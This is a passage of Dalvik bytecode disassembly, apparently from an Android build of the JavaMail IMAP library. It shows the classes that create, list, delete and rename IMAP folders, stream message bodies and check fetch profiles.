00000040  sget-object             v0, Boolean->TRUE:Boolean
00000044  return-object           v0
:46
00000046  iget-object             v0, p0, IMAPFolder$6->this$0:IMAPFolder
0000004A  iget-object             v0, v0, IMAPFolder->fullName:String
0000004E  invoke-virtual          IMAPProtocol->create(String)V, p1, v0
00000054  iget                    v0, p0, IMAPFolder$6->val$type:I
00000058  and-int/lit8            v0, v0, 0x2
0000005C  if-eqz                  v0, :40
:60
00000060  const-string            v0, ""
00000064  iget-object             v1, p0, IMAPFolder$6->this$0:IMAPFolder
00000068  iget-object             v1, v1, IMAPFolder->fullName:String
0000006C  invoke-virtual          IMAPProtocol->list(String, String)[ListInfo, p1, v0, v1
00000072  move-result-object      v0
00000074  if-eqz                  v0, :40
:78
00000078  const/4                 v1, 0x0
0000007A  aget-object             v0, v0, v1
0000007E  iget-boolean            v0, v0, ListInfo->hasInferiors:Z
00000082  if-nez                  v0, :40
:86
00000086  iget-object             v0, p0, IMAPFolder$6->this$0:IMAPFolder
0000008A  iget-object             v0, v0, IMAPFolder->fullName:String
0000008E  invoke-virtual          IMAPProtocol->delete(String)V, p1, v0
00000094  new-instance            v0, ProtocolException
00000098  const-string            v1, "Unsupported type"
0000009C  invoke-direct           ProtocolException-><init>(String)V, v0, v1
000000A2  throw                   v0
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$7
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder

.method constructor <init>(IMAPFolder)V
          .registers 2
00000000  iput-object             p1, p0, IMAPFolder$7->this$0:IMAPFolder
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 6
00000000  const/4                 v3, 0x0
00000002  const-string            v0, ""
00000006  iget-object             v1, p0, IMAPFolder$7->this$0:IMAPFolder
0000000A  iget-object             v1, v1, IMAPFolder->fullName:String
0000000E  invoke-virtual          IMAPProtocol->list(String, String)[ListInfo, p1, v0, v1
00000014  move-result-object      v0
00000016  if-eqz                  v0, :42
:1A
0000001A  aget-object             v1, v0, v3
0000001E  iget                    v1, v1, ListInfo->changeState:I
00000022  const/4                 v2, 0x1
00000024  if-ne                   v1, v2, :2E
:28
00000028  sget-object             v0, Boolean->TRUE:Boolean
:2C
0000002C  return-object           v0
:2E
0000002E  aget-object             v0, v0, v3
00000032  iget                    v0, v0, ListInfo->changeState:I
00000036  const/4                 v1, 0x2
00000038  if-ne                   v0, v1, :42
:3C
0000003C  sget-object             v0, Boolean->FALSE:Boolean
00000040  goto                    :2C
:42
00000042  iget-object             v0, p0, IMAPFolder$7->this$0:IMAPFolder
00000046  invoke-static           IMAPFolder->access$0(IMAPFolder)Status, v0
0000004C  move-result-object      v0
0000004E  iget                    v0, v0, Status->recent:I
00000052  if-lez                  v0, :5C
:56
00000056  sget-object             v0, Boolean->TRUE:Boolean
0000005A  goto                    :2C
:5C
0000005C  sget-object             v0, Boolean->FALSE:Boolean
00000060  goto                    :2C
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$8
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder

.method constructor <init>(IMAPFolder)V
          .registers 2
00000000  iput-object             p1, p0, IMAPFolder$8->this$0:IMAPFolder
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 3
00000000  iget-object             v0, p0, IMAPFolder$8->this$0:IMAPFolder
00000004  iget-object             v0, v0, IMAPFolder->fullName:String
00000008  invoke-virtual          IMAPProtocol->delete(String)V, p1, v0
0000000E  sget-object             v0, Boolean->TRUE:Boolean
00000012  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$9
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder
.field private final synthetic val$f:Folder

.method constructor <init>(IMAPFolder, Folder)V
          .registers 3
00000000  iput-object             p1, p0, IMAPFolder$9->this$0:IMAPFolder
00000004  iput-object             p2, p0, IMAPFolder$9->val$f:Folder
00000008  invoke-direct           Object-><init>()V, p0
0000000E  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 4
00000000  iget-object             v0, p0, IMAPFolder$9->this$0:IMAPFolder
00000004  iget-object             v0, v0, IMAPFolder->fullName:String
00000008  iget-object             v1, p0, IMAPFolder$9->val$f:Folder
0000000C  invoke-virtual          Folder->getFullName()String, v1
00000012  move-result-object      v1
00000014  invoke-virtual          IMAPProtocol->rename(String, String)V, p1, v0, v1
0000001A  sget-object             v0, Boolean->TRUE:Boolean
0000001E  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public FetchProfile$Item
.super Object
.source ""

.field public static final CONTENT_INFO:FetchProfile$Item
.field public static final ENVELOPE:FetchProfile$Item
.field public static final FLAGS:FetchProfile$Item
.field private name:String

.method static constructor <clinit>()V
          .registers 2
00000000  new-instance            v0, FetchProfile$Item
00000004  const-string            v1, "ENVELOPE"
00000008  invoke-direct           FetchProfile$Item-><init>(String)V, v0, v1
0000000E  sput-object             v0, FetchProfile$Item->ENVELOPE:FetchProfile$Item
00000012  new-instance            v0, FetchProfile$Item
00000016  const-string            v1, "CONTENT_INFO"
0000001A  invoke-direct           FetchProfile$Item-><init>(String)V, v0, v1
00000020  sput-object             v0, FetchProfile$Item->CONTENT_INFO:FetchProfile$Item
00000024  new-instance            v0, FetchProfile$Item
00000028  const-string            v1, "FLAGS"
0000002C  invoke-direct           FetchProfile$Item-><init>(String)V, v0, v1
00000032  sput-object             v0, FetchProfile$Item->FLAGS:FetchProfile$Item
00000036  return-void
.end method

.method protected constructor <init>(String)V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, FetchProfile$Item->name:String
0000000A  return-void
.end method

#--------------------------------------------------------------------------------
.class public IMAPFolder$FetchProfileItem
.super FetchProfile$Item
.source ""

.field public static final HEADERS:IMAPFolder$FetchProfileItem
.field public static final SIZE:IMAPFolder$FetchProfileItem

.method static constructor <clinit>()V
          .registers 2
00000000  new-instance            v0, IMAPFolder$FetchProfileItem
00000004  const-string            v1, "HEADERS"
00000008  invoke-direct           IMAPFolder$FetchProfileItem-><init>(String)V, v0, v1
0000000E  sput-object             v0, IMAPFolder$FetchProfileItem->HEADERS:IMAPFolder$FetchProfileItem
00000012  new-instance            v0, IMAPFolder$FetchProfileItem
00000016  const-string            v1, "SIZE"
0000001A  invoke-direct           IMAPFolder$FetchProfileItem-><init>(String)V, v0, v1
00000020  sput-object             v0, IMAPFolder$FetchProfileItem->SIZE:IMAPFolder$FetchProfileItem
00000024  return-void
.end method

.method protected constructor <init>(String)V
          .registers 2
00000000  invoke-direct           FetchProfile$Item-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public IMAPInputStream
.super InputStream
.source ""

.field private static final slop:I = 0x40
.field private blksize:I
.field private buf:[B
.field private bufcount:I
.field private bufpos:I
.field private max:I
.field private msg:IMAPMessage
.field private peek:Z
.field private pos:I
.field private readbuf:ByteArray
.field private section:String

.method public constructor <init>(IMAPMessage, String, I, Z)V
          .registers 6
00000000  invoke-direct           InputStream-><init>()V, p0
00000006  iput-object             p1, p0, IMAPInputStream->msg:IMAPMessage
0000000A  iput-object             p2, p0, IMAPInputStream->section:String
0000000E  iput                    p3, p0, IMAPInputStream->max:I
00000012  iput-boolean            p4, p0, IMAPInputStream->peek:Z
00000016  const/4                 v0, 0x0
00000018  iput                    v0, p0, IMAPInputStream->pos:I
0000001C  invoke-virtual          IMAPMessage->getFetchBlockSize()I, p1
00000022  move-result             v0
00000024  iput                    v0, p0, IMAPInputStream->blksize:I
00000028  return-void
.end method

.method private checkSeen()V
          .registers 4
00000000  const/4                 v1, 0x1
00000002  iget-boolean            v0, p0, IMAPInputStream->peek:Z
00000006  if-eqz                  v0, :C
:A
0000000A  return-void
:C
0000000C  iget-object             v0, p0, IMAPInputStream->msg:IMAPMessage
00000010  invoke-virtual          IMAPMessage->getFolder()Folder, v0
00000016  move-result-object      v0
00000018  if-eqz                  v0, :A
:1C
0000001C  invoke-virtual          Folder->getMode()I, v0
00000022  move-result             v0
00000024  if-eq                   v0, v1, :A
:28
00000028  iget-object             v0, p0, IMAPInputStream->msg:IMAPMessage
0000002C  sget-object             v1, Flags$Flag->SEEN:Flags$Flag
00000030  invoke-virtual          IMAPMessage->isSet(Flags$Flag)Z, v0, v1
00000036  move-result             v0
00000038  if-nez                  v0, :A
:3C
0000003C  iget-object             v0, p0, IMAPInputStream->msg:IMAPMessage
00000040  sget-object             v1, Flags$Flag->SEEN:Flags$Flag
00000044  const/4                 v2, 0x1
00000046  invoke-virtual          IMAPMessage->setFlag(Flags$Flag, Z)V, v0, v1, v2
:4C
0000004C  goto                    :A
:4E
0000004E  move-exception          v0
00000050  goto                    :A
          .catch MessagingException {:C .. :4C} :4E
.end method

.method private fill()V
          .registers 8
00000000  const/4                 v3, 0xFFFFFFFFFFFFFFFF
00000002  iget                    v0, p0, IMAPInputStream->max:I
00000006  if-eq                   v0, v3, :2C
:A
0000000A  iget                    v0, p0, IMAPInputStream->pos:I
0000000E  iget                    v1, p0, IMAPInputStream->max:I
00000012  if-lt                   v0, v1, :2C
:16
00000016  iget                    v0, p0, IMAPInputStream->pos:I
0000001A  if-nez                  v0, :24
:1E
0000001E  invoke-direct           IMAPInputStream->checkSeen()V, p0
:24
00000024  const/4                 v0, 0x0
00000026  iput-object             v0, p0, IMAPInputStream->readbuf:ByteArray
:2A
0000002A  return-void
:2C
0000002C  iget-object             v0, p0, IMAPInputStream->readbuf:ByteArray
00000030  if-nez                  v0, :4A
:34
00000034  new-instance            v0, ByteArray
00000038  iget                    v1, p0, IMAPInputStream->blksize:I
0000003C  add-int/lit8            v1, v1, 0x40
00000040  invoke-direct           ByteArray-><init>(I)V, v0, v1
00000046  iput-object             v0, p0, IMAPInputStream->readbuf:ByteArray
:4A
0000004A  iget-object             v0, p0, IMAPInputStream->msg:IMAPMessage
0000004E  invoke-virtual          IMAPMessage->getMessageCacheLock()Object, v0
00000054  move-result-object      v6
00000056  monitor-enter           v6
:58
00000058  iget-object             v0, p0, IMAPInputStream->msg:IMAPMessage
0000005C  invoke-virtual          IMAPMessage->getProtocol()IMAPProtocol, v0
00000062  move-result-object      v0
00000064  iget-object             v1, p0, IMAPInputStream->msg:IMAPMessage
00000068  invoke-virtual          IMAPMessage->isExpunged()Z, v1
0000006E  move-result             v1
00000070  if-eqz                  v1, :A6
:74
00000074  new-instance            v0, MessageRemovedIOException
00000078  const-string            v1, "No content for expunged message"
0000007C  invoke-direct           MessageRemovedIOException-><init>(String)V, v0, v1
00000082  throw                   v0
:84
00000084  move-exception          v0
:86
00000086  invoke-direct           IMAPInputStream->forceCheckExpunged()V, p0
0000008C  new-instance            v1, IOException
00000090  invoke-virtual          ProtocolException->getMessage()String, v0
00000096  move-result-object      v0
00000098  invoke-direct           IOException-><init>(String)V, v1, v0
0000009E  throw                   v1
:A0
000000A0  move-exception          v0
000000A2  monitor-exit            v6
:A4
000000A4  throw                   v0
:A6
000000A6  iget-object             v1, p0, IMAPInputStream->msg:IMAPMessage
000000AA  invoke-virtual          IMAPMessage->getSequenceNumber()I, v1
000000B0  move-result             v1
000000B2  iget                    v4, p0, IMAPInputStream->blksize:I
000000B6  iget                    v2, p0, IMAPInputStream->max:I
000000BA  if-eq                   v2, v3, :DC
:BE
000000BE  iget                    v2, p0, IMAPInputStream->pos:I
000000C2  iget                    v3, p0, IMAPInputStream->blksize:I
000000C6  add-int/2addr           v2, v3
000000C8  iget                    v3, p0, IMAPInputStream->max:I
000000CC  if-le                   v2, v3, :DC
:D0
000000D0  iget                    v2, p0, IMAPInputStream->max:I
000000D4  iget                    v3, p0, IMAPInputStream->pos:I
000000D8  sub-int                 v4, v2, v3
:DC
000000DC  iget-boolean            v2, p0, IMAPInputStream->peek:Z
000000E0  if-eqz                  v2, :11E
:E4
000000E4  iget-object             v2, p0, IMAPInputStream->section:String
000000E8  iget                    v3, p0, IMAPInputStream->pos:I
000000EC  iget-object             v5, p0, IMAPInputStream->readbuf:ByteArray
000000F0  invoke-virtual/range    IMAPProtocol->peekBody(I, String, I, I, ByteArray)BODY, v0 .. v5
:F6
000000F6  move-result-object      v0
:F8
000000F8  if-eqz                  v0, :108
:FC
000000FC  invoke-virtual          BODY->getByteArray()ByteArray, v0
00000102  move-result-object      v0
00000104  if-nez                  v0, :152
:108
00000108  invoke-direct           IMAPInputStream->forceCheckExpunged()V, p0
0000010E  new-instance            v0, IOException
00000112  const-string            v1, "No content"
00000116  invoke-direct           IOException-><init>(String)V, v0, v1
0000011C  throw                   v0
:11E
0000011E  iget-object             v2, p0, IMAPInputStream->section:String
00000122  iget                    v3, p0, IMAPInputStream->pos:I
00000126  iget-object             v5, p0, IMAPInputStream->readbuf:ByteArray
0000012A  invoke-virtual/range    IMAPProtocol->fetchBody(I, String, I, I, ByteArray)BODY, v0 .. v5
:130
00000130  move-result-object      v0
00000132  goto                    :F8
:134
00000134  move-exception          v0
:136
00000136  new-instance            v1, FolderClosedIOException
0000013A  invoke-virtual          FolderClosedException->getFolder()Folder, v0
00000140  move-result-object      v2
00000142  invoke-virtual          FolderClosedException->getMessage()String, v0
00000148  move-result-object      v0
0000014A  invoke-direct           FolderClosedIOException-><init>(Folder, String)V, v1, v2, v0
00000150  throw                   v1
:152
00000152  monitor-exit            v6
:154
00000154  iget                    v1, p0, IMAPInputStream->pos:I
00000158  if-nez                  v1, :162
:15C
0000015C  invoke-direct           IMAPInputStream->checkSeen()V, p0
:162
00000162  invoke-virtual          ByteArray->getBytes()[B, v0
00000168  move-result-object      v1
0000016A  iput-object             v1, p0, IMAPInputStream->buf:[B
0000016E  invoke-virtual          ByteArray->getStart()I, v0
00000174  move-result             v1
00000176  iput                    v1, p0, IMAPInputStream->bufpos:I
0000017A  invoke-virtual          ByteArray->getCount()I, v0
00000180  move-result             v0
00000182  iget                    v1, p0, IMAPInputStream->bufpos:I
00000186  add-int/2addr           v1, v0
00000188  iput                    v1, p0, IMAPInputStream->bufcount:I
0000018C  iget                    v1, p0, IMAPInputStream->pos:I
00000190  add-int/2addr           v0, v1
00000192  iput                    v0, p0, IMAPInputStream->pos:I
00000196  goto/16                 :2A
          .catch ProtocolException {:58 .. :84} :84
          .catch FolderClosedException {:58 .. :84} :134
          .catchall {:58 .. :84} :A0
          .catchall {:86 .. :A4} :A0
          .catch ProtocolException {:A6 .. :F6} :84
          .catch FolderClosedException {:A6 .. :F6} :134
          .catchall {:A6 .. :F6} :A0
          .catchall {:FC .. :11E} :A0
          .catch ProtocolException {:11E .. :130} :84
          .catch FolderClosedException {:11E .. :130} :134
          .catchall {:11E .. :130} :A0
          .catchall {:136 .. :154} :A0
.end method

.method private forceCheckExpunged()V
          .registers 5
00000000  iget-object             v0, p0, IMAPInputStream->msg:IMAPMessage
00000004  invoke-virtual          IMAPMessage->getMessageCacheLock()Object, v0
0000000A  move-result-object      v1
0000000C  monitor-enter           v1
:E
0000000E  iget-object             v0, p0, IMAPInputStream->msg:IMAPMessage
00000012  invoke-virtual          IMAPMessage->getProtocol()IMAPProtocol, v0
00000018  move-result-object      v0
0000001A  invoke-virtual          IMAPProtocol->noop()V, v0
:20
00000020  monitor-exit            v1
:22
00000022  iget-object             v0, p0, IMAPInputStream->msg:IMAPMessage
00000026  invoke-virtual          IMAPMessage->isExpunged()Z, v0
0000002C  move-result             v0
0000002E  if-eqz                  v0, :84
:32
00000032  new-instance            v0, MessageRemovedIOException
00000036  invoke-direct           MessageRemovedIOException-><init>()V, v0
0000003C  throw                   v0
:3E
0000003E  move-exception          v0
:40
00000040  new-instance            v2, FolderClosedIOException
00000044  iget-object             v3, p0, IMAPInputStream->msg:IMAPMessage
00000048  invoke-virtual          IMAPMessage->getFolder()Folder, v3
0000004E  move-result-object      v3
00000050  invoke-virtual          ConnectionException->getMessage()String, v0
00000056  move-result-object      v0
00000058  invoke-direct           FolderClosedIOException-><init>(Folder, String)V, v2, v3, v0
0000005E  throw                   v2
:60
00000060  move-exception          v0
00000062  monitor-exit            v1
:64
00000064  throw                   v0
:66
00000066  move-exception          v0
:68
00000068  new-instance            v2, FolderClosedIOException
0000006C  invoke-virtual          FolderClosedException->getFolder()Folder, v0
00000072  move-result-object      v3
00000074  invoke-virtual          FolderClosedException->getMessage()String, v0
0000007A  move-result-object      v0
0000007C  invoke-direct           FolderClosedIOException-><init>(Folder, String)V, v2, v3, v0
00000082  throw                   v2
:84
00000084  return-void
:86
00000086  move-exception          v0
00000088  goto                    :20
          .catch ConnectionException {:E .. :20} :3E
          .catch FolderClosedException {:E .. :20} :66
          .catch ProtocolException {:E .. :20} :86
          .catchall {:E .. :20} :60
          .catchall {:20 .. :22} :60
          .catchall {:40 .. :64} :60
          .catchall {:68 .. :84} :60
.end method

.method public declared-synchronized available()I
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget                    v0, p0, IMAPInputStream->bufcount:I
00000006  iget                    v1, p0, IMAPInputStream->bufpos:I
:A
0000000A  sub-int/2addr           v0, v1
0000000C  monitor-exit            p0
0000000E  return                  v0
:10
00000010  move-exception          v0
00000012  monitor-exit            p0
00000014  throw                   v0
          .catchall {:2 .. :A} :10
.end method

.method public declared-synchronized read()I
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget                    v0, p0, IMAPInputStream->bufpos:I
00000006  iget                    v1, p0, IMAPInputStream->bufcount:I
0000000A  if-lt                   v0, v1, :26
:E
0000000E  invoke-direct           IMAPInputStream->fill()V, p0
00000014  iget                    v0, p0, IMAPInputStream->bufpos:I
00000018  iget                    v1, p0, IMAPInputStream->bufcount:I
:1C
0000001C  if-lt                   v0, v1, :26
:20
00000020  const/4                 v0, 0xFFFFFFFFFFFFFFFF
:22
00000022  monitor-exit            p0
00000024  return                  v0
:26
00000026  iget-object             v0, p0, IMAPInputStream->buf:[B
0000002A  iget                    v1, p0, IMAPInputStream->bufpos:I
0000002E  add-int/lit8            v2, v1, 0x1
00000032  iput                    v2, p0, IMAPInputStream->bufpos:I
00000036  aget-byte               v0, v0, v1
:3A
0000003A  and-int/lit16           v0, v0, 0xFF
0000003E  goto                    :22
:40
00000040  move-exception          v0
00000042  monitor-exit            p0
00000044  throw                   v0
          .catchall {:2 .. :1C} :40
          .catchall {:26 .. :3A} :40
.end method

.method public read([B)I
          .registers 4
00000000  const/4                 v0, 0x0
00000002  array-length            v1, p1
00000004  invoke-virtual          IMAPInputStream->read([B, I, I)I, p0, p1, v0, v1
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method public declared-synchronized read([B, I, I)I
          .registers 7
00000000  monitor-enter           p0
:2
00000002  iget                    v0, p0, IMAPInputStream->bufcount:I
00000006  iget                    v1, p0, IMAPInputStream->bufpos:I
0000000A  sub-int/2addr           v0, v1
0000000C  if-gtz                  v0, :2A
:10
00000010  invoke-direct           IMAPInputStream->fill()V, p0
00000016  iget                    v0, p0, IMAPInputStream->bufcount:I
0000001A  iget                    v1, p0, IMAPInputStream->bufpos:I
:1E
0000001E  sub-int/2addr           v0, v1
00000020  if-gtz                  v0, :2A
:24
00000024  const/4                 v0, 0xFFFFFFFFFFFFFFFF
:26
00000026  monitor-exit            p0
00000028  return                  v0
:2A
0000002A  if-ge                   v0, p3, :4E
:2E
0000002E  iget-object             v1, p0, IMAPInputStream->buf:[B
00000032  iget                    v2, p0, IMAPInputStream->bufpos:I
00000036  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v1, v2, p1, p2, v0
0000003C  iget                    v1, p0, IMAPInputStream->bufpos:I
00000040  add-int/2addr           v1, v0
00000042  iput                    v1, p0, IMAPInputStream->bufpos:I
:46
00000046  goto                    :26
:48
00000048  move-exception          v0
0000004A  monitor-exit            p0
0000004C  throw                   v0
:4E
0000004E  move                    v0, p3
00000050  goto                    :2E
          .catchall {:2 .. :1E} :48
          .catchall {:2E .. :46} :48
.end method

#--------------------------------------------------------------------------------
.class public abstract interface Utility$Condition
.super Object
.source ""

.method public abstract test(IMAPMessage)Z
.end method

#--------------------------------------------------------------------------------
.class IMAPMessage$1FetchProfileCondition
.super Object
.source ""

.implements Utility$Condition

.field private hdrs:[String
.field private needBodyStructure:Z
.field private needEnvelope:Z
.field private needFlags:Z
.field private needHeaders:Z
.field private needSize:Z
.field private needUID:Z

.method public constructor <init>(FetchProfile)V
          .registers 4
00000000  const/4                 v1, 0x1
00000002  const/4                 v0, 0x0
00000004  invoke-direct           Object-><init>()V, p0
0000000A  iput-boolean            v0, p0, IMAPMessage$1FetchProfileCondition->needEnvelope:Z
0000000E  iput-boolean            v0, p0, IMAPMessage$1FetchProfileCondition->needFlags:Z
00000012  iput-boolean            v0, p0, IMAPMessage$1FetchProfileCondition->needBodyStructure:Z
00000016  iput-boolean            v0, p0, IMAPMessage$1FetchProfileCondition->needUID:Z
0000001A  iput-boolean            v0, p0, IMAPMessage$1FetchProfileCondition->needHeaders:Z
0000001E  iput-boolean            v0, p0, IMAPMessage$1FetchProfileCondition->needSize:Z
00000022  const/4                 v0, 0x0
00000024  iput-object             v0, p0, IMAPMessage$1FetchProfileCondition->hdrs:[String
00000028  sget-object             v0, FetchProfile$Item->ENVELOPE:FetchProfile$Item
0000002C  invoke-virtual          FetchProfile->contains(FetchProfile$Item)Z, p1, v0
00000032  move-result             v0
00000034  if-eqz                  v0, :3C
:38
00000038  iput-boolean            v1, p0, IMAPMessage$1FetchProfileCondition->needEnvelope:Z
:3C
0000003C  sget-object             v0, FetchProfile$Item->FLAGS:FetchProfile$Item
00000040  invoke-virtual          FetchProfile->contains(FetchProfile$Item)Z, p1, v0
00000046  move-result             v0
00000048  if-eqz                  v0, :50
:4C
0000004C  iput-boolean            v1, p0, IMAPMessage$1FetchProfileCondition->needFlags:Z
:50
00000050  sget-object             v0, FetchProfile$Item->CONTENT_INFO:FetchProfile$Item
00000054  invoke-virtual          FetchProfile->contains(FetchProfile$Item)Z, p1, v0
0000005A  move-result             v0
0000005C  if-eqz                  v0, :64
:60
00000060  iput-boolean            v1, p0, IMAPMessage$1FetchProfileCondition->needBodyStructure:Z
:64
00000064  sget-object             v0, UIDFolder$FetchProfileItem->UID:UIDFolder$FetchProfileItem
00000068  invoke-virtual          FetchProfile->contains(FetchProfile$Item)Z, p1, v0
0000006E  move-result             v0
00000070  if-eqz                  v0, :78
:74
00000074  iput-boolean            v1, p0, IMAPMessage$1FetchProfileCondition->needUID:Z
:78
00000078  sget-object             v0, IMAPFolder$FetchProfileItem->HEADERS:IMAPFolder$FetchProfileItem
0000007C  invoke-virtual          FetchProfile->contains(FetchProfile$Item)Z, p1, v0
00000082  move-result             v0
00000084  if-eqz                  v0, :8C
:88
00000088  iput-boolean            v1, p0, IMAPMessage$1FetchProfileCondition->needHeaders:Z
:8C
0000008C  sget-object             v0, IMAPFolder$FetchProfileItem->SIZE:IMAPFolder$FetchProfileItem
00000090  invoke-virtual          FetchProfile->contains(FetchProfile$Item)Z, p1, v0
00000096  move-result             v0
00000098  if-eqz                  v0, :A0
:9C
0000009C  iput-boolean            v1, p0, IMAPMessage$1FetchProfileCondition->needSize:Z
:A0
000000A0  invoke-virtual          FetchProfile->getHeaderNames()[String, p1
000000A6  move-result-object      v0
000000A8  iput-object             v0, p0, IMAPMessage$1FetchProfileCondition->hdrs:[String
000000AC  return-void
.end method

.method public test(IMAPMessage)Z
          .registers 9
00000000  const/4                 v1, 0x0
00000002  const/4                 v2, 0x1
00000004  iget-boolean            v0, p0, IMAPMessage$1FetchProfileCondition->needEnvelope:Z
00000008  if-eqz                  v0, :1C
:C
0000000C  invoke-static           IMAPMessage->access$0(IMAPMessage)ENVELOPE, p1
00000012  move-result-object      v0
00000014  if-nez                  v0, :1C
:18
00000018  move                    v1, v2
:1A
0000001A  return                  v1
:1C
0000001C  iget-boolean            v0, p0, IMAPMessage$1FetchProfileCondition->needFlags:Z
00000020  if-eqz                  v0, :34
:24
00000024  invoke-static           IMAPMessage->access$1(IMAPMessage)Flags, p1
0000002A  move-result-object      v0
0000002C  if-nez                  v0, :34
:30
00000030  move                    v1, v2
00000032  goto                    :1A
:34
00000034  iget-boolean            v0, p0, IMAPMessage$1FetchProfileCondition->needBodyStructure:Z
00000038  if-eqz                  v0, :4C
:3C
0000003C  invoke-static           IMAPMessage->access$2(IMAPMessage)BODYSTRUCTURE, p1
00000042  move-result-object      v0
00000044  if-nez                  v0, :4C
:48
00000048  move                    v1, v2
0000004A  goto                    :1A
:4C
0000004C  iget-boolean            v0, p0, IMAPMessage$1FetchProfileCondition->needUID:Z
00000050  if-eqz                  v0, :6C
:54
00000054  invoke-virtual          IMAPMessage->getUID()J, p1
0000005A  move-result-wide        v3
0000005C  const-wide/16           v5, 0xFFFFFFFFFFFFFFFF
00000060  cmp-long                v0, v3, v5
00000064  if-nez                  v0, :6C
:68
00000068  move                    v1, v2
0000006A  goto                    :1A
:6C
0000006C  iget-boolean            v0, p0, IMAPMessage$1FetchProfileCondition->needHeaders:Z
00000070  if-eqz                  v0, :84
:74
00000074  invoke-static           IMAPMessage->access$3(IMAPMessage)Z, p1
0000007A  move-result             v0
0000007C  if-nez                  v0, :84
:80
00000080  move                    v1, v2
00000082  goto                    :1A
:84
00000084  iget-boolean            v0, p0, IMAPMessage$1FetchProfileCondition->needSize:Z
00000088  if-eqz                  v0, :9E
:8C
0000008C  invoke-static           IMAPMessage->access$4(IMAPMessage)I, p1
00000092  move-result             v0
00000094  const/4                 v3, 0xFFFFFFFFFFFFFFFF
00000096  if-ne                   v0, v3, :9E
:9A
0000009A  move                    v1, v2
0000009C  goto                    :1A
:9E
0000009E  move                    v0, v1
:A0
000000A0  iget-object             v3, p0, IMAPMessage$1FetchProfileCondition->hdrs:[String
000000A4  array-length            v3, v3
000000A6  if-ge                   v0, v3, :1A
:AA
000000AA  iget-object             v3, p0, IMAPMessage$1FetchProfileCondition->hdrs:[String
000000AE  aget-object             v3, v3, v0
000000B2  invoke-static           IMAPMessage->access$5(IMAPMessage, String)Z, p1, v3
000000B8  move-result             v3
000000BA  if-nez                  v3, :C2
:BE
000000BE  move                    v1, v2
000000C0  goto                    :1A
:C2
000000C2  add-int/lit8            v0, v0, 0x1
000000C6  goto                    :A0
.end method

#--------------------------------------------------------------------------------
.class public IMAPMessage
.super MimeMessage
.source ""

.field private static EnvelopeCmd:String
.field protected bs:BODYSTRUCTURE
.field private description:String
.field protected envelope:ENVELOPE
.field private headersLoaded:Z
.field private loadedHeaders:Hashtable
.field private peek:Z
.field private receivedDate:Date
.field protected sectionId:String
.field private seqnum:I
.field private size:I
.field private subject:String
.field private type:String
.field private uid:J

.method static constructor <clinit>()V
          .registers 1
00000000  const-string            v0, "ENVELOPE INTERNALDATE RFC822.SIZE"
00000004  sput-object             v0, IMAPMessage->EnvelopeCmd:String
00000008  return-void
.end method

.method protected constructor <init>(IMAPFolder, I, I)V
          .registers 6
00000000  invoke-direct           MimeMessage-><init>(Folder, I)V, p0, p1, p2
00000006  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000008  iput                    v0, p0, IMAPMessage->size:I
0000000C  const-wide/16           v0, 0xFFFFFFFFFFFFFFFF
00000010  iput-wide               v0, p0, IMAPMessage->uid:J
00000014  const/4                 v0, 0x0
00000016  iput-boolean            v0, p0, IMAPMessage->headersLoaded:Z
0000001A  iput                    p3, p0, IMAPMessage->seqnum:I
0000001E  const/4                 v0, 0x0
00000020  iput-object             v0, p0, IMAPMessage->flags:Flags
00000024  return-void
.end method

.method protected constructor <init>(Session)V
          .registers 4
00000000  invoke-direct           MimeMessage-><init>(Session)V, p0, p1
00000006  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000008  iput                    v0, p0, IMAPMessage->size:I
0000000C  const-wide/16           v0, 0xFFFFFFFFFFFFFFFF
00000010  iput-wide               v0, p0, IMAPMessage->uid:J
00000014  const/4                 v0, 0x0
00000016  iput-boolean            v0, p0, IMAPMessage->headersLoaded:Z
0000001A  return-void
.end method

.method private _getBodyStructure()BODYSTRUCTURE
          .registers 2
00000000  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000004  return-object           v0
.end method

.method private _getEnvelope()ENVELOPE
          .registers 2
00000000  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
00000004  return-object           v0
.end method

.method private _getFlags()Flags
          .registers 2
00000000  iget-object             v0, p0, IMAPMessage->flags:Flags
00000004  return-object           v0
.end method

.method private aaclone([InternetAddress)[InternetAddress
          .registers 3
00000000  if-nez                  p1, :8
:4
00000004  const/4                 v0, 0x0
:6
00000006  return-object           v0
:8
00000008  invoke-virtual          [InternetAddress->clone()Object, p1
0000000E  move-result-object      v0
00000010  check-cast              v0, [InternetAddress
00000014  goto                    :6
.end method

.method static synthetic access$0(IMAPMessage)ENVELOPE
          .registers 2
00000000  invoke-direct           IMAPMessage->_getEnvelope()ENVELOPE, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method static synthetic access$1(IMAPMessage)Flags
          .registers 2
00000000  invoke-direct           IMAPMessage->_getFlags()Flags, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method static synthetic access$2(IMAPMessage)BODYSTRUCTURE
          .registers 2
00000000  invoke-direct           IMAPMessage->_getBodyStructure()BODYSTRUCTURE, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method static synthetic access$3(IMAPMessage)Z
          .registers 2
00000000  invoke-direct           IMAPMessage->areHeadersLoaded()Z, p0
00000006  move-result             v0
00000008  return                  v0
.end method

.method static synthetic access$4(IMAPMessage)I
          .registers 2
00000000  iget                    v0, p0, IMAPMessage->size:I
00000004  return                  v0
.end method

